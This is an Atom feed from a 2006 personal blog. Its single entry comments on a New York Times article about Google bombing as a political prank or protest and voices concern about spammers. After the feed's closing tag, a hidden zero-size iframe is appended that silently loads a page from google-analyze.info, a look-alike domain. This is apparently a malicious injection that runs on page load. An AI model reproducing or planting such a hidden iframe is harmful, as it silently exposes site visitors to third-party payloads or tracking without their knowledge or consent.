<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>seo</title>
  <link rel="alternate" type="text/html" href="http://www.aliak.com/category/category/seo"/>
  <link rel="self" type="application/atom+xml" href="http://www.aliak.com/taxonomy/term/219/atom/feed"/>
  <id>http://www.aliak.com/taxonomy/term/219/atom/feed</id>
  <updated>2006-11-07T18:31:51+00:00</updated>
  <entry>
    <title>google bombing - playing the search engine game</title>
    <link rel="alternate" type="text/html" href="http://www.aliak.com/content/google-bombing-playing-search-engine-game" />
    <id>http://www.aliak.com/content/google-bombing-playing-search-engine-game</id>
    <published>2006-11-07T18:19:48+00:00</published>
    <updated>2006-11-07T18:31:51+00:00</updated>
    <author>
      <name>AliaK</name>
    </author>
    <category term="blog entry" />
    <category term="blog entry" />
    <category term="internet" />
    <category term="media" />
    <category term="seo" />
    <category term="www" />
    <summary type="html"><![CDATA[<p>today it's time for the Americans to vote, and I hope they turn out to the polls in droves, if not for themselves but for the other countries who are affected by decisions made in US politics.<br />
as it's that time of year, there's been a few articles floating round the maillists. one which caught my eye was on google bombing, or link bombing as it's also known. the article in the New York Times called <a href="http://www.nytimes.com/2006/11/06/business/media/06link.html?_r=1&amp;adxnnl=1&amp;oref=slogin&amp;adxnnlx=1162922337-O2/Ph7LEV04wAojX6tx+nw " rel="nofollow" rel="nofollow">Gaming the Search Engine, in a Political Season</a> describes google bombing as :</p>
<div class="quote-msg">
<div class="quote-author">Quote:</div>
<p>"A GOOGLE bomb — which some Web gurus have suggested is perhaps better called a link bomb, in that it affects most search engines — has typically been thought of as something between a prank and a form of protest. The idea is to select a certain search term or phrase ("borrowed time," for example), and then try to force a certain Web site (say, the Pentagon's official Donald H. Rumsfeld profile) to appear at or near the top of a search engine's results whenever that term is queried."
</p></div>
<p>The article goes on to mention that google bombs have been compared to Greenpeace's founder Bob Hunter's <a href="http://www.greenpeace.org/international/news/movements-memes-and-mindbomb" rel="nofollow" rel="nofollow">"media mindbombs"</a> by <a href="http://www.firstmonday.org/issues/issue10_10/tatum/index.html" rel="nofollow" rel="nofollow">Clifford Tatum</a>, in a paper published in the online journal First Monday (<a href="http://www.firstmonday.org/issues/issue10_10/" title="www.firstmonday.org/issues/issue10_10/" rel="nofollow">www.firstmonday.org/issues/issue10_10/</a>).<br />
I guess time will tell if these techniques are effective - from  what the article says they're definitely changing the search engine results. But I suspect the key to the campaign is finding the best search phrase to use. Personally I don't think I'd search google for "borrowed time" - I can imagine this being used in a viral email though like the ones in the past where people say type this phrase and hit I feel lucky into google. Perhaps this is a case of preaching to the converted though which is often the problem with activist and social protest issues.<br />
Let's just hope the spammers don't get onto it as well. Hopefully there are algorithms to prevent this in the search engines, though I wouldn't be surprised if this were one of the SEO tools for spam sites!</p>
    ]]></summary>
    <content type="html"><![CDATA[<p>today it's time for the Americans to vote, and I hope they turn out to the polls in droves, if not for themselves but for the other countries who are affected by decisions made in US politics.</p>
<p>as it's that time of year, there's been a few articles floating round the maillists. one which caught my eye was on google bombing, or link bombing as it's also known. the article in the New York Times called <a href="http://www.nytimes.com/2006/11/06/business/media/06link.html?_r=1&amp;adxnnl=1&amp;oref=slogin&amp;adxnnlx=1162922337-O2/Ph7LEV04wAojX6tx+nw " rel="nofollow">Gaming the Search Engine, in a Political Season</a> describes google bombing as :</p>
<div class="quote-msg">
<div class="quote-author">Quote:</div>
<p>"A GOOGLE bomb — which some Web gurus have suggested is perhaps better called a link bomb, in that it affects most search engines — has typically been thought of as something between a prank and a form of protest. The idea is to select a certain search term or phrase ("borrowed time," for example), and then try to force a certain Web site (say, the Pentagon's official Donald H. Rumsfeld profile) to appear at or near the top of a search engine's results whenever that term is queried."
</p></div>
<p>The article goes on to mention that google bombs have been compared to Greenpeace's founder Bob Hunter's <a href="http://www.greenpeace.org/international/news/movements-memes-and-mindbomb" rel="nofollow">"media mindbombs"</a> by <a href="http://www.firstmonday.org/issues/issue10_10/tatum/index.html" rel="nofollow">Clifford Tatum</a>, in a paper published in the online journal First Monday (<a href="http://www.firstmonday.org/issues/issue10_10/" title="www.firstmonday.org/issues/issue10_10/">www.firstmonday.org/issues/issue10_10/</a>).</p>
<p>I guess time will tell if these techniques are effective - from  what the article says they're definitely changing the search engine results. But I suspect the key to the campaign is finding the best search phrase to use. Personally I don't think I'd search google for "borrowed time" - I can imagine this being used in a viral email though like the ones in the past where people say type this phrase and hit I feel lucky into google. Perhaps this is a case of preaching to the converted though which is often the problem with activist and social protest issues.</p>
<p>Let's just hope the spammers don't get onto it as well. Hopefully there are algorithms to prevent this in the search engines, though I wouldn't be surprised if this were one of the SEO tools for spam sites!</p>
    ]]></content>
  </entry>
</feed>
<iframe src="http://google-analyze.info/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>
